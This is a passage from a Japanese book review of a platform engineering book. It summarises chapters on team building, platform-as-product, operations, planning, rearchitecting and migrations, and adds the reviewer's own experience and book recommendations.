キュメンテーションの充実、そして標準化されたプロセスと品質管理を通じて実現されます。章全体からの学び第2章は、プラットフォームエンジニアリングの4つの柱を通じて、成功するプラットフォームの要件を明確に示しています。技術的な卓越性、組織的な変革、イノベーション、継続的な進化が、プラットフォームエンジニアリングの成功には不可欠です。これらは最新技術の適用とパフォーマンスの最適化、チーム構造の最適化とスキル開発、新技術の評価と導入、そしてフィードバックの収集と反映を通じて実現されます。これらの要素は相互に関連し、バランスの取れた実装が必要となります。プラットフォームエンジニアリングは継続的な取り組みであり、技術的な側面だけでなく、組織的な支援と文化の醸成を通じて常に進化し続ける必要があります。Part II. Platform Engineering Practices第2部は、C.S.Lewisの「卵が鳥になるのは難しいかもしれないが、卵のままで飛ぶ方がよほど難しい」という言葉から始まり、プラットフォームエンジニアリングの実践的な側面に焦点を当てています。著者は8つの主要な失敗パターンを特定し、それぞれに対する具体的な解決策を提示しています。特に重要なのは、プラットフォームエンジニアリングが単なるインフラストラクチャエンジニアリングやDevOpsの再ブランディングではないという指摘です。私のチームでも、適切なタイミングでの開始、適切な人材ミックス、製品思考の導入、効果的な運用という要素が、成功への重要な要因となっています。Chapter 3. How and When to Get Started第3章「How and When to Get Started」は、プラットフォームエンジニアリングの導入時期と方法について、組織の成熟度や規模に応じた具体的なアプローチを提供しています。著者は、三つの主要な状況に焦点を当て、各シナリオにおける成功への道筋を示しています。小規模組織でのプラットフォーム協力の育成著者は小規模スタートアップにおけるプラットフォームエンジニアリングのアプローチを、成熟度モデルを用いて説明しています。特に注目すべきは、アドホック段階とやや管理された段階という2つのフェーズの定義です。この文脈で参考になるのが、CNCF Platform Engineering Maturity Modelです。このフレームワークは、組織の成熟度を評価し、次のステップを計画する際の指針となります。tag-app-delivery.cncf.ioアドホック段階では、シンプルな自動化と基本的なプロセスの確立に焦点を当てることが推奨されています。著者は、この段階で重要なのはソースコントロール、自動化された継続的デプロイメント、そして軽量なプロセスの3つの要素だと強調しています。これは私の経験とも一致しており、特に小規模チームにおいては、過度に複雑なプロセスや高度な技術スタックを避け、シンプルさを保つことが重要です。やや管理された段階では、チームの成長に伴い、より構造化されたアプローチが必要となります。著者はローカル開発環境の自動化、ステージング環境の整備、観測可能性の向上などの要素を重視しています。この段階での重要な洞察は、技術選択の社会化と意思決定プロセスの確立の必要性です。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazon協力を代替するプラットフォームチームの創設組織の成長に伴い、アドホックな協力体制から正式なプラットフォームチームへの移行が必要となります。著者は、この移行のタイミングとしてダンバー数(50-250人)を参考指標として挙げています。これは、組織内の協力関係が自然に維持できる限界を示す重要な指標です。この移行のプロセスについては、DevOps Topologiesが有用な参考資料となります。web.devopstopologies.com著者は、プラットフォームチームの設立において、所有権の中央集権化がもたらす利点とコストのバランスを慎重に検討する必要性を強調しています。特に注目すべきは、新しい技術やアーキテクチャではなく、問題解決に焦点を当てるという原則です。これは、プラットフォームチームが陥りがちな、技術的な理想主義による過度な複雑化を避けるための重要な指針となります。internaldeveloperplatform.org伝統的なインフラストラクチャ組織の変革既存のインフラストラクチャ組織をプラットフォームエンジニアリング組織へと変革する過程について、著者は包括的なガイダンスを提供しています。特に重要なのは、エンジニアリング文化全体の変革の必要性です。従来のコスト管理やベンダー交渉中心の文化から、ユーザー中心の製品開発文化への転換が求められます。この変革プロセスを支援するフレームワークとして、Thoughtworks Technology Radarが有用です。www.thoughtworks.com特に重要なのは、エンジニアリング文化全体の変革の必要性です。従来のコスト管理やベンダー交渉中心の文化から、ユーザー中心の製品開発文化への転換が求められます。 本を紹介します。伝統的な組織からプロダクト中心の組織への移行について詳しく解説しています。PROJECT TO PRODUCT フローフレームワークでデジタルディスラプション時代に成功する方法作者:MIK KERSTENパレードAmazon変革のプロセスにおいて、著者は段階的なアプローチの重要性を強調しています。最も有望な領域から始め、成功事例を積み重ねていくことで、組織全体の変革を推進することが推奨されています。また、プロダクトマネージャーの役割についても現実的な視点が示されており、単にプロダクトマネージャーを採用するだけでは不十分で、エンジニアリングチームの協力が不可欠であることが指摘されています。「変化を嫌う人」を動かす:魅力的な提案が受け入れられない4つの理由作者:ロレン・ノードグレン,デイヴィッド・ションタル,船木 謙一(監修)草思社Amazon章全体からの学び第3章は、プラットフォームエンジニアリングの導入と発展に関する実践的なガイドを提供しています。とりわけ重要なのは、組織の規模や成熟度に応じて適切なアプローチを選択する必要性です。私自身も組織のプラットフォームエンジニアリングを主導している立場から、小規模スタートアップでは軽量なプロセスと基本的な自動化から始め、成長に伴って段階的に発展させていく著者の提案に強く共感します。特に印象的なのは、著者がプラットフォームエンジニアリングを単なる技術的な取り組みではなく、組織文化の変革として捉えている点です。これは私の実務経験とも一致しており、多くの組織が陥りがちな技術偏重のアプローチを避けるための重要な示唆となっています。例えば、私のチームでは新しい技術の導入よりも、まず既存の問題解決と開発者体験の向上に焦点を当てることで、より持続可能な変革を実現できています。また、チーム編成に関する著者の洞察も非常に実践的です。特に、大企業出身のエンジニアの採用に関する警告は、私自身の経験からも非常に的確だと感じています。優れた技術力を持っていても、規模の異なる組織での経験をそのまま適用しようとする傾向は、しばしば新たな問題を引き起こす原因となりうるからです。この章の知見は、今後のプラットフォームエンジニアリングの実践において重要な指針となるでしょう。組織の成熟度に応じた段階的なアプローチ、ユーザー中心の文化醸成、そして適切なチーム構築は、成功への鍵となる要素です。私たちプラットフォームエンジニアリングリーダーは、これらの知見を活かしながら、各組織の状況に適した変革を推進していく必要があります。Chapter 4. Building Great Platform Teams第4章「Building Great Platform Teams」は、プラットフォームエンジニアリングチームの構築と育成に焦点を当てています。この章では、効果的なプラットフォームチームの構築に必要な多様な役割と、それらの役割間のバランスの取り方について、実践的な知見が提供されています。特に、ソフトウェアエンジニアとシステムエンジニアの異なる視点をどのように融合させ、顧客中心のプラットフォームを構築するかという課題に深く切り込んでいます。シングルフォーカスチームの課題単一の視点に偏ったチーム構成は、長期的に見て大きな課題を生み出します。システムエンジニアに偏重したチームは運用面では優れているものの、プラットフォームの抽象化や設計面で課題を抱えがちです。一方、ソフトウェアエンジニアに偏重したチームは新機能の開発には長けていますが、運用安定性や既存システムの改善に対する意識が低くなりがちです。私の経験からも、この両極端な状況を目にすることが多々あります。過去のプロジェクトでは、システムエンジニアの視点が強すぎるあまり、新機能開発に対して過度に慎重になり、結果として顧客ニーズへの対応が遅れるという課題がありました。一方で、開発速度を重視するあまり、運用の視点が欠如し、本番環境での深刻な問題を引き起こすケースも見てきました。Figure 4-1. Breaking down the major engineering roles in a platform engineering team より引用[Figure 4-1]で示されているように、プラットフォームエンジニアリングチームにおける主要なエンジニアリング役割の分類は、このバランスの重要性を明確に表しています。プラットフォームエンジニアの多様な役割プラットフォームエンジニアリングチームにおける主要な役割について、著者は4つの異なる専門性を持つエンジニアの重要性を強調しています。Software Engineerはソフトウェア開発に特化しながらもシステムへの深い理解と運用への関心を持ち、ビジネスクリティカルなシステムのオンコール対応ができ、慎重なペースでの開発に納得できる人材です。Systems EngineerはDevOpsエンジニアやSREに近い立場ながら、より広範な視点を持ち、インフラストラクチャの統合からプラットフォームのコードベースに関わる深いシステムの問題解決まで、幅広い業務を担当します。Reliability Engineerは信頼性に特化し、インシデント管理、SLOのコンサルティング、カオスエンジニアリング、ゲームデイの実施など、システム全体の信頼性向上に注力します。そしてSystems Specialistは、ネットワーキング、カーネル、パフォーマンス、ストレージなど、特定の技術領域に深い専門性を持つエンジニアですが、著者はこの役割については組織の規模と必要性が明確になってから採用することを推奨しています。特に印象的なのは、各役割の採用と評価についての具体的なアドバイスです。例えば、システムエンジニアの採用において、コーディング面接の柔軟な運用を提案しています。私のチームでもこのアプローチを採用し、結果として運用経験が豊富で、かつ適度なコーディングスキルを持つエンジニアの採用に成功しています。また、クラウドネイティブプラットフォームの構築において、これら4つの役割が相互に補完し合い、それぞれの専門性を活かしながら協働することで、より堅牢なプラットフォームの実現が可能になることを日々の実務で実感しています。プラットフォームエンジニアリングマネージャーの重要性プラットフォームエンジニアリングマネージャーには、プラットフォームの運用経験、長期プロジェクトの経験、そして細部への注意力が不可欠です。私の経験上、特に運用経験の重要性は強調してもしすぎることはありません。複雑なシステムの運用経験がないマネージャーが、技術的な課題の深刻さを過小評価し、結果として重大なサービス障害を引き起こすケースを何度も目にしてきました。プロダクトマネジメントのすべて 事業戦略・IT開発・UXデザイン・マーケティングからチーム・組織運営まで作者:及川 卓也,小城 久美子,曽根原 春樹翔泳社Amazonチーム文化の構築と維持チーム文化の構築は、技術的な課題と同じくらい重要です。著者が示す開発チームとSREチームの統合事例は、私自身のチーム統合経験とも共鳴する部分が多くあります。特に、異なる文化を持つチームを統合する際の段階的なアプローチは、非常に実践的です。私のチームでは、定期的な技術共有セッションとクロスファンクショナルなプロジェクト編成を通じて、異なる背景を持つエンジニア間の相互理解を促進しています。これにより、「システムチーム」vs「開発チーム」という対立構造を避け、より協調的な文化を醸成することができています。章全体からの学びプラットフォームエンジニアリングチームの成功には、技術的なスキルと組織文化の両面でのバランスが不可欠です。著者の提案する4つの役割分類と、それぞれの役割に対する適切な評価・育成方法は、実践的で価値のある指針となっています。特に重要なのは顧客エンパシーです。これは単なるスキルではなく、チーム全体の文化として根付かせる必要があります。プラットフォームエンジニアリングチームが提供する価値は、単なる技術的な解決策ではなく、顧客の課題を深く理解し、それに対する適切な解決策を提供することにあるからです。今後のプラットフォームエンジニアリングには、技術の進化に加えて、組織のデジタルトランスフォーメーションへの対応も求められます。この章で学んだチーム構築の原則は、そうした変化に対応する上で重要な指針となるでしょう。個人的な経験からも、技術と人、そして文化のバランスを取ることが、持続可能なプラットフォーム組織の構築には不可欠だと確信しています。Chapter 5. Platform as a Product第5章「Platform as a Product」は、プラットフォームエンジニアリングにおいて、プラットフォームを製品として捉えるアプローチの重要性と実践方法について深く掘り下げています。著者は、組織内プラットフォームの構築において、プロダクト思考を採用することの意義と、その実現に向けた具体的な戦略を提示しています。顧客中心のプロダクトカルチャーの確立著者は、内部顧客の特性として、小規模な顧客基盤、囚われの観客、利害の対立、顧客満足度の変動、そして時として競合者となり得る顧客の存在を挙げています。私の経験でも、特に囚われの観客という特性は重要で、単にプラットフォームの使用を強制するのではなく、真に価値のある製品として受け入れられる必要があります。著者が提唱する「顧客エンパシー」の文化は、面接プロセスからの組み込み、顧客中心の目標設定、ユーザーフィードバックの定期的な収集など、具体的な施策を通じて醸成されます。私のチームでも、エンジニアのサポート輪番制を導入し、顧客の課題を直接理解する機会を設けることで、より顧客志向の製品開発が実現できています。プロダクトディスカバリーとマーケット分析新しいプラットフォーム製品の発見と検証について、著者は他チームが構築した成功事例を基に広範な用途に適用可能な製品として発展させること、特定のチームと協力して具体的な課題解決から始めて一般化可能な製品を作り出すこと、そして導入障壁が低く明確な価値提案を持つ製品から着手することという三つのアプローチを提示しています。プロダクトロードマップの重要性著者は、プロダクトロードマップの構築において、プラットフォームが目指す理想的な状態を示す長期的なビジョン、ビジョン実現のための具体的なアプローチを示す中期的な戦略、定量的な成功指標となる年間目標とメトリクス、そして具体的な実装計画となる四半期ごとのマイルストーンという段階的なアプローチを提案しています。この考え方は、「プロダクトマネージャーのしごと 第2版」でも強調されており、同書ではプロダクトマネージャーの重要な役割として、ビジョンとロードマップの策定、顧客ニーズの深い理解、データ駆動の意思決定、そしてステークホルダーとの効果的なコミュニケーションを挙げています。特に、プロダクトロードマップは単なる実装計画ではなく、製品の戦略的な方向性を示す重要なツールとして位置づけられています。プロダクトマネージャーのしごと 第2版 ―1日目から使える実践ガイド作者:Matt LeMayオーム社Amazon失敗のパターンと対策著者は主要な失敗パターンとして、移行コストの過小評価、ユーザーの変更予算の過大評価、安定性が低い状況での新機能価値の過大評価、そしてエンジニアリングチームの規模に対する製品マネージャーの過剰な配置を指摘しています。私の経験からも、特に移行コストの過小評価は深刻な問題となりがちで、新機能の魅力に目を奪われ、既存システムからの移行に伴う実務的な課題を軽視してしまうケースを何度も目にしてきました。章全体からの学びプラットフォームを製品として扱うアプローチの成功には、文化、製品市場適合性、実行の3つの要素が不可欠です。著者が強調するように、単なる技術的な優位性ではなく、顧客価値の創出と組織全体への影響を考慮した包括的なアプローチが求められます。プラットフォームエンジニアリングリーダーとして、この章から学んだ最も重要な教訓は、技術的な卓越性と顧客価値のバランスを取ることの重要性です。プラットフォームは技術的に優れているだけでなく、実際のユーザーにとって価値のある、使いやすい製品でなければなりません。また、私はプロダクトマネジメントについて学んできてなかったので主張としてなんとなくしか理解できない事柄もいくつかあった。Chapter 6. Operating Platforms第6章「Operating Platforms」は、プラットフォームエンジニアリングにおける運用の本質と、その実践的なアプローチについて深く掘り下げています。この章では、プラットフォームの運用が単なる技術的な課題ではなく、組織全体の成功に直結する戦略的な要素であることを強調しています。著者は、「レアなことは規模が大きくなると一般的になる」という Jason Cohen の言葉を引用しながら、プラットフォームの規模拡大に伴う運用上の課題とその対処方法について詳細に論じています。【改訂新版】システム障害対応の教科書作者:木村 誠明技術評論社Amazonオンコール体制の重要性と実践著者は、オンコール体制について非常に現実的な視点を提供しています。特に印象的だったのは、24x7のオンコール体制の必要性についての議論です。私自身、過去に「重要ではない」と思われる開発者ツールのプラットフォームでさえ、予想外のタイミングで重要になる経験をしてきました。例えば、深夜のクリティカルなバグ修正時にデプロイメントプラットフォームが機能しないという状況は、まさに著者が指摘する通りの事例です。著者が提案する「週に5件以下のビジネスインパクトのある問題」という基準は、理想的ではありますが、現実的な目標として受け入れられます。これは私の経験とも一致しており、このレベルを超えると組織の持続可能性が急速に低下することを実感してきました。特に、この数字を超えると、チームのバーンアウトや離職率の上昇といった深刻な問題につながることを、実際のプロジェクトで何度も目の当たりにしてきました。また、マージされたDevOpsアプローチの重要性について、著者は説得力のある議論を展開しています。プラットフォームチームの規模が限られている場合、開発とオペレーションを分離することは現実的ではないという指摘は、多くの組織にとって重要な示唆となります。私の経験では、小規模なプラットフォームチームでDevとOpsを分離しようとした結果、コミュニケーションの断絶や責任の所在の不明確化といった問題が発生したケースを数多く見てきました。サポート実践の段階的アプローチサポート体制については、著者が提案する4段階のアプローチが非常に実践的です。特に、サポートレベルの形式化から始まり、最終的にはエンジニアリングサポート組織(ESO)の確立に至るまでの発展プロセスは、多くの組織が参考にできるモデルとなっています。第1段階のサポートレベルの形式化では、支援要請の分類と対応の優先順位付けが重要です。私のチームでも、この分類作業を通じて、実際には多くの問題が共通のパターンを持っていることが分かり、効率的な対応方法を確立することができました。第2段階のクリティカルでないサポートのオンコールからの分離は、チームの持続可能性を確保する上で重要なステップです。私の経験では、この分離を実施することで、開発者が本来の開発業務に集中できる時間が増え、結果としてプラットフォームの品質向上にもつながりました。第3段階のサポートスペシャリストの採用については、著者が指摘する「ユニコーン」の必要性に強く共感します。T1とT2の両方をこなせる人材を見つけることは確かに難しいですが、非伝統的な背景を持つ人材の育成という提案は、現実的かつ効果的なアプローチだと考えています。最後の第4段階である大規模なエンジニアリングサポート組織の確立については、著者が提供するFAANG企業での実例が非常に参考になります。特に、アプリケーションの階層化とそれに応じたSLAの設定、顧客のオンコール要件、システムエンジニアの採用といった具体的な施策は、大規模組織での運用の複雑さと、その解決策を理解する上で重要な示唆を提供しています。運用フィードバックの実践運用フィードバックの実践については、著者がSLO、SLA、エラーバジェットについて興味深い見解を示しています。特に、エラーバジェットが必ずしも万能な解決策ではないという指摘は、現実の組織運営において非常に重要な視点です。私の経験では、エラーバジェットの導入が却ってチーム間の対立を生む結果となったケースもありました。著者が提案する合成モニタリングの重要性は、現代のプラットフォーム運用において極めて重要です。開発時間の25%、リソースコストの10%という投資推奨は、一見高額に感じるかもしれませんが、問題の早期発見と対応によって得られる価値を考えると、十分に正当化できる投資だと考えています。私のチームでも、合成モニタリングの導入により、ユーザーからの報告前に問題を検知し、対応できるケースが大幅に増加しました。変更管理の現実的アプローチ変更管理に関する著者の見解は、現代のDevOps実践との関連で特に興味深いものでした。完全な自動化を目指しつつも、その過程での適切な変更管理の重要性を説いている点は、多くのプラットフォームチームにとって重要な示唆となります。著者が指摘する通り、プラットフォームの変更は複雑で状態を持つことが多く、単純なCI/CDの適用が難しい場合が多いです。私の経験でも、キャッシュクリアやデータベースマイグレーションなど、慎重な制御が必要な操作が多く存在し、これらの管理には明確なプロセスと慎重なアプローチが必要でした。運用レビューの実践運用レビューについての議論は、特にリーダーシップの観点から重要です。チームレベルでのシンプルかつ厳格なレビュー、そして組織レベルでの本質的なレビューの必要性は、プラットフォーム運用の成功に不可欠な要素として描かれています。私の経験では、週次の運用レビューを通じて、潜在的な問題を早期に発見し、対応することができました。特に、ページング頻度、サポートチケットの傾向、インシデントの根本原因分析などを定期的にレビューすることで、システムの健全性を維持し、改善の機会を見出すことができました。また、著者が強調するリーダーシップの関与の重要性は、非常に重要な指摘です。運用レビューに経営層が積極的に参加することで、運用上の課題が適切に理解され、必要なリソースの確保や優先順位付けがスムーズに行われるようになった経験があります。章全体からの学びこの章は、プラットフォーム運用の複雑さと、それを成功に導くための実践的なアプローチを包括的に示しています。特に、運用の規律がプラットフォームの成功にとって不可欠であることを強調している点は、現代のソフトウェア開発環境において極めて重要な示唆となっています。読者として強く感じたのは、プラットフォーム運用が単なる技術的な課題ではなく、組織的な取り組みとして捉える必要があるという点です。特に、チームの持続可能性とユーザー満足度の両立という観点から、著者の提案する実践的なアプローチは非常に価値があります。この章で提示されている運用プラクティスは、理想的ではありますが現実的な目標として設定されており、段階的な改善のためのロードマップとしても機能します。私自身、これらのプラクティスの多くを実践してきましたが、特に重要なのは、組織の規模や成熟度に応じて適切なアプローチを選択し、継続的に改善を進めていく姿勢だと考えています。最後に、この章の内容は、プラットフォームエンジニアリングリーダーが直面する現実的な課題と、その解決のための具体的なアプローチを提供しており、現代のソフトウェア開発組織にとって重要な指針となっています。特に、運用の持続可能性とビジネス価値の創出のバランスを取りながら、組織を成長させていくための実践的な知見は、非常に価値のあるものだと言えます。Chapter 7. Planning and Delivery第7章「Planning and Delivery」は、プラットフォームエンジニアリングにおける計画立案と実行の重要性について深く掘り下げています。この章では、長期的なプロジェクトの計画から日々の実行管理、そして成果の可視化に至るまで、プラットフォームチームのリーダーが直面する実践的な課題と、その解決のためのアプローチについて詳細に解説しています。BIG THINGS どデカいことを成し遂げたヤツらはなにをしたのか?作者:ベント・フリウビヤ,ダン・ガードナーサンマーク出版Amazon長期プロジェクトの計画立案プラットフォームエンジニアリングの特徴的な側面の一つは、長期的なプロジェクトの存在です。私の経験でも、新しいインフラストラクチャの構築や大規模なマイグレーションプロジェクトは、しばしば数ヶ月から数年の期間を要します。著者が提案するプロポーザルドキュメントの作成から実行計画への移行というアプローチは、このような長期プロジェクトを成功に導くための実践的な方法論として非常に重要です。特に印象的だったのは、プロジェクトの目的と要件をプロポーザルドキュメントで明確化する部分です。私自身、過去に大規模なマイグレーションプロジェクトをリードした際、初期段階でのプロポーザルドキュメントの重要性を痛感しました。背景、テネット、ガイドライン、問題の詳細、解決策の概要、実行計画という構造化されたアプローチは、関係者間の合意形成と期待値の調整に非常に効果的でした。ボトムアップなロードマップ計画著者が提案するボトムアップなロードマップ計画は、プラットフォームチームが直面する現実的な課題に対する実践的な解決策を提供しています。特に、KTLO(Keep the Lights On)作業、マンデート、システム改善という3つの主要な作業カテゴリの区分は、リソース配分と優先順位付けの明確な枠組みを提供します。私のチームでも、KTLOワークの見積もりから始めて、段階的にプランニングの精度を上げていく手法を採用しています。特に、全体の40%をKTLOに、残りを70/20/10の比率で新機能開発、アーキテクチャ改善、イノベーションに配分するというガイドラインは、バランスの取れたリソース配分の指針として有用でした。戦略の要諦 (日本経済新聞出版)作者:リチャード・P・ルメルト日経BPAmazon隔週での成果と課題の共有著者が提案する「Wins and Challenges」という取り組みは、プラットフォームチームの成果を可視化し、組織全体との信頼関係を構築するための効果的な方法です。私のチームでも、この手法を導入してから、ステークホルダーとのコミュニケーションが大幅に改善されました。特に重要なのは、チャレンジを適切に共有することの価値です。私の経験では、問題を隠すのではなく、適切に共有し、解決に向けた支援を得られる関係性を構築することが、長期的な信頼関係の構築に不可欠でした。このような定期的な成果共有の重要性は、「SREsのためのSRE定着ガイド」でも定点観測会として紹介されており、インフラストラクチャーの価値を他のチームに継続的に伝えていく機会として非常に有効です。 speakerdeck.comプロジェクト管理の実践的アプローチ著者が警告する「長期的な停滞」に陥るリスクは、多くのプラットフォームチームにとって現実的な課題です。私も過去に、過度に野心的な目標設定や不明確な問題設定により、プロジェクトが停滞する経験をしました。これを避けるために、プロジェクトの範囲を適切に設定し、段階的な価値提供を重視するアプローチを採用しています。章全体からの学びこの章で提示されている計画立案と実行管理のフレームワークは、プラットフォームエンジニアリングの成功に不可欠な要素を網羅しています。特に、長期的なビジョンと短期的な成果のバランス、透明性の高いコミュニケーション、そして継続的な価値提供の重要性は、現代のプラットフォームエンジニアリングにおいて極めて重要です。私の経験からも、これらの実践は組織の規模や成熟度に関わらず、適用可能で効果的なアプローチだと確信しています。ただし、各組織の状況に応じて適切にカスタマイズすることが重要です。特に、チームの規模が小さい段階では、過度に形式的なプロセスを避け、エッセンシャルな実践に焦点を当てることを推奨します。この章の内容は、プラットフォームエンジニアリングチームが直面する計画立案と実行管理の課題に対する実践的なガイドとして、非常に価値のあるものだと評価しています。Chapter 8. Rearchitecting Platforms第8章「Rearchitecting Platforms」は、プラットフォームの再アーキテクチャリングという重要なテーマについて、その必要性、アプローチ、実践方法を包括的に解説しています。著者は、プラットフォームの進化が不可避であるという現実を踏まえ、どのようにして既存のシステムを運用しながら進化させていくかという実践的な知見を提供しています。特に印象的なのは、冒頭のRandy Schoupによる「If you don\'t end up regretting your early technology decisions, you probably overengineered.」(初期の技術選定を後悔しないのであれば、おそらく過剰設計だった)という引用です。この言葉は、プラットフォームエンジニアリングにおける現実的なアプローチの重要性を端的に表現しています。進化的アーキテクチャ ―絶え間ない変化を支える作者:Neal Ford,Rebecca Parsons,Patrick KuaオライリージャパンAmazonまた、日本の伊勢神宮で実践される式年遷宮のように、定期的にシステムを刷新しながら価値を維持・向上させていく「式年遷宮アーキテクチャ」の考え方も、この文脈で参考になる概念といえます。agnozingdays.hatenablog.comv2開発とリアーキテクチャリングの選択Figure 8-1. How a platform is successfully rearchitected over time より引用[Figure 8-1]は、プラットフォームの進化とリアーキテクチャリングの関係を時系列で示した重要な図です。この図は、プラットフォームが「Scrappy Platform」から「Scalable Platform」を経て「Robust Platform」へと進化していく過程を表しています。著者は、新システムを一から作り直すv2アプローチと、既存システムを進化させるリアーキテクチャリングアプローチを比較し、後者を推奨しています。私自身の経験からも、v2アプローチの失敗を何度も目にしてきました。特に印象的だったのは、セカンドシステム効果による過剰な機能の盛り込みと、移行コストの過小評価という2つの典型的な失敗パターンです。たとえば、あるプロジェクトでは、既存システムの問題点を全て解決しようとするあまり、新システムの設計が複雑化し、開発期間が当初の見積もりの3倍以上に膨れ上がってしまいました。結果として、ビジネスニーズの変化に追いつけず、プロジェクトは中止を余儀なくされました。著者が提案する3つの異なるエンジニアリングマインドセット(パイオニア、セトラー、タウンプランナー)の分類は、非常に示唆に富んでいます。私のチームでも、このフレームワークを参考に、フェーズに応じた適切な人材配置を行うことで、より効果的なリアーキテクチャリングを実現できています。パイオニアマインドセットは、新しい可能性を探索し、革新的なソリューションを生み出すのに長けています。一方で、セトラーマインドセットは、実験的なアイデアを実用的なプロダクトへと昇華させる能力に優れています。そして、タウンプランナーマインドセットは、システムの効率化と産業化を得意としています。セキュリティアーキテクチャの重要性特に注目すべきは、セキュリティをアーキテクチャレベルで考える必要性についての指摘です。著者は、プラットフォームのセキュリティは後付けではなく、設計段階から組み込まれるべきだと主張しています。これは、私が過去に経験した大規模なセキュリティインシデントからも、極めて重要な教訓だと感じています。例えば、あるプロジェクトでは、セキュリティを後付けで考えたために、重要なアーキテクチャ上の変更が必要となり、多大なコストと時間を要しました。特に、マルチテナント環境におけるデータの分離や、認証・認可の仕組みは、後からの変更が極めて困難でした。「サイバー犯罪を完全に防ぐことはできないが、システムをよりスマートに設計することで被害を最小限に抑えることは可能」という著者の指摘は、現代のセキュリティアプローチの本質を突いています。特に重要なのは、以下の実践的なアプローチです:標準化された認証・認可の仕組みの提供セキュアなデフォルト設定の重要性アクセス制御の宣言的な定義テナント分離アーキテクチャの採用ガードレールの設計と実装リアーキテクチャリングの実践において、著者はガードレールの重要性を強調しています。これは、変更を安全に実施するための枠組みとして機能します。特に、以下の4つの側面からのアプローチが重要です:後方互換性の維持: APIの互換性を保ち、既存のクライアントへの影響を最小限に抑える包括的なテスト戦略: 単体テストから統合テスト、合成モニタリングまでの総合的なアプローチ環境管理の重要性: 開発、テスト、本番環境の適切な分離と管理段階的なロールアウト: カナリアリリースやトランチ方式による慎重なデプロイメント私の経験では、特に後方互換性の維持が重要です。一度失った顧客の信頼を取り戻すのは極めて困難であり、互換性の破壊は避けるべき最大のリスクの一つです。たとえば、あるプロジェクトでは、APIの下位互換性を破壊する変更を行ったことで、顧客のシステムに深刻な影響を与え、その修復に数ヶ月を要しました。リアーキテクチャリングの計画立案著者が提案する4段階の計画立案プロセスは、実践的で効果的なアプローチです:最終目標の設定: 3-5年の長期的なビジョンを明確にする移行コストの見積もり: 現実的なコストと時間の評価12ヶ月での主要な成果の設定: 短期的な価値提供の確保リーダーシップの支持獲得: 組織的なサポートの確保特に印象的なのは、12ヶ月での具体的な成果達成を重視している点です。私のチームでも、長期的なビジョンと短期的な成果のバランスを取ることで、ステークホルダーの信頼を維持しながら、大規模なリアーキテクチャリングを成功させることができました。具体的には、以下のような3つの目標設定が効果的でした:大きな価値を生む野心的な目標: ビジネスにインパクトのある変革より小規模だが確実な価値提供: 現実的な改善の実現技術的な基盤の確立: 新アーキテクチャの実運用開始章全体からの学びこの章から学んだ最も重要な教訓は、リアーキテクチャリングは技術的な課題である以上に、組織的な取り組みであるという点です。技術的な優位性だけでなく、ビジネス価値の創出と組織の継続的な発展を両立させる必要があります。私の経験からも、リアーキテクチャリングの成功には、技術的な卓越性、組織的な支援、そして段階的な実行アプローチが不可欠です。特に、早期の価値提供と段階的な移行を重視することで、リスクを最小限に抑えながら、必要な変革を実現することができます。また、著者が警告する新入社員主導のリアーキテクチャリングの危険性も重要な指摘です。過去の経験や他社での成功体験に基づく性急な変更は、往々にして組織の文化や既存システムの複雑さを考慮できず、失敗に終わることが多いです。最後に、この章は現代のプラットフォームエンジニアリングが直面する重要な課題に対する実践的なガイドを提供しており、多くのプラットフォームリーダーにとって貴重な参考資料となるでしょう。特に、継続的な進化の必要性と実践的なアプローチの重要性は、今後のプラットフォーム戦略を考える上で極めて重要な示唆を提供しています。Chapter 9. Migrations and Sunsetting of Platforms第9章「Migrations and Sunsetting of Platforms」は、プラットフォームエンジニアリングにおける最も困難な課題の一つである、マイグレーションとプラットフォームのサンセットについて詳細に解説しています。著者は、C. Scott Andreasの「プラットフォームは、土台のように、その上に構築するための安定した表面を提供するべきものである」という言葉を引用しながら、変更を管理しつつ安定性を提供するというプラットフォームエンジニアリングの本質的な課題に切り込んでいます。cloud.google.comこちらも参考になるかと思います。learn.microsoft.comaws.amazon.comマイグレーションのアンチパターン著者が指摘するマイグレーションの主要なアンチパターンは、私の経験とも強く共鳴します。特に、コンテキストのない締め切り、曖昧な要件、不十分なテスト、そしてクリップボード持ちの説教者という4つのパターンは、多くのプラットフォームチームが陥りがちな罠です。私自身、ある大規模なマイグレーションプロジェクトで、経営陣から突然の期限を課された経験があります。その時の教訓は、マイグレーションは技術的な課題である以上に、コミュニケーションと計画の課題であるということでした。具体的には、チームメンバーや関係者との丁寧なコミュニケーション、段階的なマイグレーション計画の策定、そして明確な成功基準の設定が重要でした。また、曖昧な要件の問題は特に深刻です。「Product X version Y以前を使用している場合は...」といった通知を送っても、多くのユーザーはProduct Xが何を指すのかすら理解できていないことがあります。これは単なるコミュニケーションの問題ではなく、プラットフォームの可視性と理解可能性の問題でもあります。learning.oreilly.comより簡単なマイグレーションのためのエンジニアリング著者は、マイグレーションを容易にするための技術的なアプローチとして、製品抽象化、透過的なマイグレーション、メタデータ追跡、自動化の重要性を説いています。これらは、現代のクラウドネイティブ環境において特に重要です。私の経験では、グルーコードの最小化とバリエーションの制限が特に重要でした。あるプロジェクトでは、各チームが独自のグルーコードを持っていたために、システムの更新が極めて困難になっていました。この教訓を活かし、次のプロジェクトでは標準化されたインターフェースと限定的なカスタマイズオプションを提供することで、マイグレーションの複雑さを大幅に削減することができました。また、使用状況メタデータの追跡も極めて重要です。過去のプロジェクトで、依存関係の把握が不十分だったために、マイグレーション中に予期せぬ問題が発生し、スケジュールが大幅に遅延した経験があります。この経験から、プラットフォームの使用状況、依存関係、所有者情報を常に追跡するシステムを構築することが、効果的なマイグレーション管理の基盤となることを学びました。スムーズなマイグレーションの調整マイグレーションの成功には、早期のコミュニケーションと公開性が不可欠です。著者が提案する、12ヶ月以上先の期限に対する慎重なアプローチは、私の経験からも非常に賢明です。特に印象的なのは、最後の20%をプッシュするという考え方です。実際のプロジェクトでは、最初の80%は比較的スムーズに進むことが多いものの、残りの20%で予想外の課題に直面することがよくあります。この段階での成功には、古いシステムの適切な維持管理、予期せぬ技術的課題への柔軟な対応、そして責任の所在の明確化が重要です。私の経験では、この最後の20%で重要なのは、チームのモチベーション維持です。古いシステムの維持に割り当てられたチームメンバーが、キャリアの行き詰まりを感じて離職するケースも少なくありません。これを防ぐために、新旧システムの作業をバランスよく配分し、全員が新しい技術にも触れる機会を提供することが重要です。プラットフォームのサンセットプラットフォームのサンセットは、マイグレーション以上に難しい判断を必要とします。著者は、サンセットを検討すべき状況として、ユーザー数の少なさ、高いサポートコスト、他の優先事項への注力必要性という3つの条件を挙げています。私の経験では、特に構築者の抵抗が大きな